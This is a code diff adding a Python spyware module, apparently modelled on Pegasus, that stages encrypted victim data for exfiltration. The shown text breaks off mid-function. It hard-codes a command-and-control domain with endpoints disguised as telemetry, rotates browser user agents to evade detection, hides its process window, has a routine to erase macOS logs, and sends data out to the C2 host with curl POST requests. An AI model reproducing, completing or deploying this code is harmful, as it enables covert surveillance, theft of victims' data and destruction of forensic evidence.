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| 1 | +#!/usr/bin/env python3 |
| 2 | +# /src/exploits/zero-click_exploits/pegasus/data_exfiltration/data_exfiltration_v2.py |
| 3 | + |
| 4 | +import os |
| 5 | +import json |
| 6 | +import time |
| 7 | +import hashlib |
| 8 | +import base64 |
| 9 | +import subprocess |
| 10 | +import tempfile |
| 11 | +import threading |
| 12 | +import queue |
| 13 | +import random |
| 14 | +import uuid |
| 15 | +import platform |
| 16 | +import ctypes |
| 17 | +import shutil |
| 18 | +from pathlib import Path |
| 19 | +from datetime import datetime, timezone |
| 20 | +from typing import Optional, Dict, Any, List |
| 21 | + |
| 22 | +# Use 'cryptography' library as it's more modern and maintained than PyCryptodome in many contexts |
| 23 | +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes |
| 24 | +from cryptography.hazmat.primitives import padding |
| 25 | +from cryptography.hazmat.backends import default_backend |
| 26 | + |
| 27 | +# --- Configuration --- |
| 28 | +# C2 Configuration |
| 29 | +C2_DOMAIN = "zeroclickexploits.ddns.net" |
| 30 | +C2_PORT = 443 |
| 31 | +C2_ENDPOINTS = [ |
| 32 | + f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/telemetry", |
| 33 | + f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/analytics", |
| 34 | + f"https://{C2_DOMAIN}:{C2_PORT}/cdn/assets", |
| 35 | + f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/upload" # Added a more realistic endpoint |
| 36 | +] |
| 37 | +# In a real deployment, this key would be derived from a secure key exchange or device-specific secrets. |
| 38 | +AES_KEY = hashlib.sha256(b'PegasusSAP_Key_Derivation_Salt_Exfil_V2').digest() |
| 39 | + |
| 40 | +# Data Staging & Threading |
| 41 | +TEMP_DIR = tempfile.mkdtemp(prefix="exfil_staging_") |
| 42 | +MAX_STAGED_FILES = 10 |
| 43 | +MAX_CHUNK_SIZE = 1024 * 512 # 512 KB chunks |
| 44 | +EXFIL_QUEUE = queue.Queue() |
| 45 | +SHUTDOWN_EVENT = threading.Event() |
| 46 | + |
| 47 | +# Evasion |
| 48 | +USER_AGENTS = [ |
| 49 | + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", |
| 50 | + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", |
| 51 | + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", |
| 52 | + "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0", |
| 53 | + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/121.0" |
| 54 | +] |
| 55 | + |
| 56 | +# --- Utilities --- |
| 57 | +def get_platform_info() -> Dict[str, str]: |
| 58 | + """Gathers basic platform information for identification.""" |
| 59 | + return { |
| 60 | + "os": platform.system(), |
| 61 | + "release": platform.release(), |
| 62 | + "version": platform.version(), |
| 63 | + "machine": platform.machine(), |
| 64 | + "processor": platform.processor(), |
| 65 | + "hostname": platform.node(), |
| 66 | + } |
| 67 | + |
| 68 | +def generate_session_id() -> str: |
| 69 | + """Generates a unique session ID for this execution.""" |
| 70 | + return str(uuid.uuid4()) |
| 71 | + |
| 72 | +# --- Evasion and Anti-Forensics --- |
| 73 | +class Logger: |
| 74 | + """A simple logger that buffers messages in memory to avoid disk writes.""" |
| 75 | + def __init__(self): |
| 76 | + self.messages = queue.Queue() |
| 77 | + |
| 78 | + def log(self, message: str, level: str = 'info'): |
| 79 | + timestamp = datetime.now(timezone.utc).isoformat() |
| 80 | + log_entry = f"[{timestamp}] [{level.upper()}] {message}" |
| 81 | + self.messages.put(log_entry) |
| 82 | + |
| 83 | + def get_logs(self) -> str: |
| 84 | + """Retrieves all buffered log messages.""" |
| 85 | + logs = [] |
| 86 | + while not self.messages.empty(): |
| 87 | + logs.append(self.messages.get()) |
| 88 | + return "\n".join(logs) |
| 89 | + |
| 90 | +# Global logger instance |
| 91 | +logger = Logger() |
| 92 | + |
| 93 | +def hide_process(): |
| 94 | + """Attempts to hide the current process from the user.""" |
| 95 | + try: |
| 96 | + if platform.system() == "Windows": |
| 97 | + # Find the console window and hide it. |
| 98 | + whnd = ctypes.windll.kernel32.GetConsoleWindow() |
| 99 | + if whnd != 0: |
| 100 | + ctypes.windll.user32.ShowWindow(whnd, 0) # 0 = SW_HIDE |
| 101 | + # Placeholder for other OS-specific techniques (e.g., setproctitle on Linux) |
| 102 | + except Exception as e: |
| 103 | + logger.log(f"Process hiding failed: {e}", 'error') |
| 104 | + |
| 105 | +def clear_execution_logs(): |
| 106 | + """Sanitizes system logs to remove evidence of execution. Use with caution.""" |
| 107 | + try: |
| 108 | + if platform.system() == "Darwin": # macOS |
| 109 | + # Erase logs from the last minute related to python or curl |
| 110 | + time_filter = (datetime.now(timezone.utc) - timedelta(minutes=1)).strftime('%Y-%m-%d %H:%M:%S') |
| 111 | + cmd = ["log", "erase", "--start", time_filter, "--predicate", 'processImagePath CONTAINS "python" OR processImagePath CONTAINS "curl"'] |
| 112 | + subprocess.run(cmd, check=False, capture_output=True, timeout=10) |
| 113 | + # Placeholder for Windows (Event Logs) and Linux (journald, syslog) |
| 114 | + except Exception as e: |
| 115 | + logger.log(f"Log clearing failed: {e}", 'error') |
| 116 | + |
| 117 | +def secure_delete(file_path: Path, passes: int = 3): |
| 118 | + """Securely deletes a file by overwriting it multiple times.""" |
| 119 | + try: |
| 120 | + if not file_path.exists(): |
| 121 | + return |
| 122 | + with open(file_path, "ba+") as f: |
| 123 | + length = f.tell() |
| 124 | + for _ in range(passes): |
| 125 | + f.seek(0) |
| 126 | + f.write(os.urandom(length)) |
| 127 | + file_path.unlink() |
| 128 | + except Exception as e: |
| 129 | + logger.log(f"Failed to securely delete {file_path}: {e}", 'error') |
| 130 | + try: |
| 131 | + file_path.unlink() # Fallback to simple delete |
| 132 | + except Exception: |
| 133 | + pass |
| 134 | + |
| 135 | +# --- Core Exfiltration Logic --- |
| 136 | +class DataExfiltration: |
| 137 | + def __init__(self, target_id="unknown"): |
| 138 | + self.target_id = os.environ.get("TARGET_ID", target_id) |
| 139 | + self.session_id = generate_session_id() |
| 140 | + self.staging_dir = Path(TEMP_DIR) |
| 141 | + self.staging_dir.mkdir(exist_ok=True) |
| 142 | + self._initialize_environment() |
| 143 | + |
| 144 | + def _initialize_environment(self): |
| 145 | + """Performs all necessary setup and evasion actions.""" |
| 146 | + logger.log(f"Initializing exfiltration module. Session ID: {self.session_id}") |
| 147 | + hide_process() |
| 148 | + # clear_execution_logs() # Uncomment with extreme caution; can be noisy. |
| 149 | + logger.log(f"Staging directory created at {self.staging_dir}") |
| 150 | + |
| 151 | + def encrypt_data(self, data_bytes: bytes) -> Optional[bytes]: |
| 152 | + """Encrypts data using AES-256-CBC with PKCS7 padding. IV is prepended.""" |
| 153 | + try: |
| 154 | + iv = os.urandom(16) |
| 155 | + padder = padding.PKCS7(algorithms.AES.block_size).padder() |
| 156 | + padded_data = padder.update(data_bytes) + padder.finalize() |
| 157 | + cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(iv), backend=default_backend()) |
| 158 | + encryptor = cipher.encryptor() |
| 159 | + ciphertext = encryptor.update(padded_data) + encryptor.finalize() |
| 160 | + return iv + ciphertext |
| 161 | + except Exception as e: |
| 162 | + logger.log(f"Encryption failed: {e}", 'error') |
| 163 | + return None |
| 164 | + |
| 165 | + def stage_data(self, data: bytes, metadata: Optional[Dict[str, Any]] = None) -> Optional[Path]: |
| 166 | + """Encrypts data and saves it to a temporary staging file.""" |
| 167 | + if metadata is None: |
| 168 | + metadata = {} |
| 169 | + metadata.update({ |
| 170 | + "timestamp": datetime.now(timezone.utc).isoformat(), |
| 171 | + "target_id": self.target_id, |
| 172 | + "session_id": self.session_id, |
| 173 | + "source_module": "data_exfiltration_v2" |
| 174 | + }) |
| 175 | + |
| 176 | + payload = { |
| 177 | + "metadata": metadata, |
| 178 | + "payload": base64.b64encode(data).decode('utf-8') |
| 179 | + } |
| 180 | + payload_bytes = json.dumps(payload).encode('utf-8') |
| 181 | + encrypted_payload = self.encrypt_data(payload_bytes) |
| 182 | + if not encrypted_payload: |
| 183 | + return None |
| 184 | + |
| 185 | + staged_path = self.staging_dir / f"payload_{int(time.time())}_{os.urandom(4).hex()}.bin" |
| 186 | + try: |
| 187 | + with open(staged_path, 'wb') as f: |
| 188 | + f.write(encrypted_payload) |
| 189 | + logger.log(f"Data staged at {staged_path}") |
| 190 | + return staged_path |
| 191 | + except Exception as e: |
| 192 | + logger.log(f"Failed to stage data: {e}", 'error') |
| 193 | + return None |
| 194 | + |
| 195 | + def _send_http_request(self, endpoint: str, payload: Dict[str, Any], user_agent: str) -> bool: |
| 196 | + """Internal helper to send a single HTTP POST request.""" |
| 197 | + json_payload = json.dumps(payload) |
| 198 | + cmd = [ |
| 199 | + "curl", "-k", "-s", "-X", "POST", |
| 200 | + "-H", "Content-Type: application/json", |
| 201 | + "-H", f"User-Agent: {user_agent}", |
| 202 | + "-d", json_payload, |
| 203 | + "--connect-timeout", "10", |
| 204 | + "--max-time", "30", |
| 205 | + endpoint |
| 206 | + ] |
| 207 | + try |
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